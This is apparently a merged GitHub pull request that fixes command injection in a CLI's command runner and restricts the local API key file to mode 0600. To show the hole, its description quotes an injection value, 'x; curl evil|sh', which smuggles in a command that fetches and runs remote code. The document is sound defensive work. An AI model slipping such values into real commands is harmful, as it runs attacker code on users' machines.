Skip to content

fix(cli): run commands without a shell and keep the local api key private - #268

Merged
Exeloo merged 4 commits into
mainfrom
fix/runner-no-shell
Nov 8, 2026
Merged

Exeloo merged 4 commits into
mainfrom
fix/runner-no-shell

Conversation

@Exeloo

@Exeloo Exeloo commented Nov 8, 2026

Copy link
Copy Markdown
Member

What does this PR do?

No linked issue: found during a security pass over the CLI.

Fixes two security holes:

  1. Command injection. Runner joined the binary and its arguments into one string and ran it with shell: true, so any argument was shell code. For example, nf new --git-remote 'x; curl evil|sh' ran curl evil|sh, and the same went for schematic options and project paths.
  2. Readable login key. nf login --local wrote the API key to .nanoforgerc with the default mode (0644), and generated projects didn't ignore that file in git.
Runner.run(args)
  Linux/macOS: spawn(binary, args, { shell: false })   // arguments as an array, no shell
  Windows:     spawn(quoted command, { shell: true })  // npm/pnpm/yarn are .cmd shims
               quoteForCmd refuses `"`, `%`, `!` and line breaks (cmd.exe can't quote them)
  empty arguments dropped (yarn saveFlag ""), spawn errors (missing binary) reject
  • The hand-written shell quoting is removed: "<path>" for the schematics binary and collection, --opt="value", and the \( / \[ escaping in names.
  • nf login --local creates .nanoforgerc with mode 0600 before rc9 writes the key into it.
  • The project, workspace and plugin templates now ignore .nanoforgerc in .gitignore.
  • The docs (commands/registry.mdx, commands/install.mdx) describe the file mode and the Windows argument limits.

How do you test this PR?

  • Before: new Runner("echo").run(["remote", "https://x.git; echo INJECTED"], { collect: true }) returned "remote https://x.gitINJECTED\n": the second command ran.
    After: it returns "remote https://x.git; echo INJECTED", the argument as plain text.
  • New tests:
    • runner.spec.ts: shell syntax is passed as plain text, an argument with spaces stays whole, a missing binary rejects, and quoteForCmd quotes and refuses what it should;
    • global-config-handler.spec.ts: the local file is 0600, whether new or already there.
  • Updated expectations: schematic.option.spec.ts and nanoforge.collection.spec.ts asserted the shell quoting this PR removes.
  • Commands run:
    • pnpm test:unit: 260/260 pass;
    • pnpm test:e2e: 96 pass, 1 skipped, 1 todo;
    • pnpm lint: pass;
    • pnpm build: pass;
    • the pre-push hook ran repo:build, repo:lint, repo:test:unit and repo:test:e2e, all green.
  • Not tested on Windows: the cmd.exe quoting rests on reading the code.

Merge danger

Door: two-way (a revert is enough).
Blast radius: small. @nanoforge-dev/cli and @nanoforge-dev/schematics (templates only) have no code consumers in other repos. Nothing deploys on merge; the change ships with the next release.

Quality gate

Check Result Notes
Docs Updated docs/docs/commands/registry.mdx, install.mdx
Correctness Pass 1 Minor (failure reported twice), fixed in b351e53
Performance Pass Not measured; one fewer /bin/sh process per command
Accessibility Pass The new error says "error" in words
Security Pass 2 Minor (key readable for a moment at creation, ! on Windows), fixed in b351e53
Style Pass lint: pass

Follow-up issues

None filed yet. Candidates:

  • the global .nanoforgerc location in registry.mdx is wrong (rc9 uses ~/.config);
  • no Windows CI; full Windows safety would need cross-spawn;
  • a Windows binary lookup issue, to be reported privately.

…vate

The runner joined arguments into one string run by a shell, so a value
such as --git-remote 'x; cmd' ran cmd. Arguments now go to spawn as an
array. On Windows, where npm, pnpm and yarn are .cmd shims, the shell
stays and each argument is quoted, refusing what cmd.exe can't quote.

nf login --local now writes .nanoforgerc with mode 0600.
Also refuse ! in windows arguments and report a missing binary once.
@github-actions github-actions Bot added documentation Improvements or additions to documentation lib:schematics Related to the @nanoforge-dev/schematics library labels Nov 8, 2026
@Exeloo
Exeloo merged commit bdbe963 into main Nov 8, 2026
7 checks passed
@Exeloo
Exeloo deleted the fix/runner-no-shell branch November 8, 2026 21:14
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

documentation Improvements or additions to documentation lib:schematics Related to the @nanoforge-dev/schematics library

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant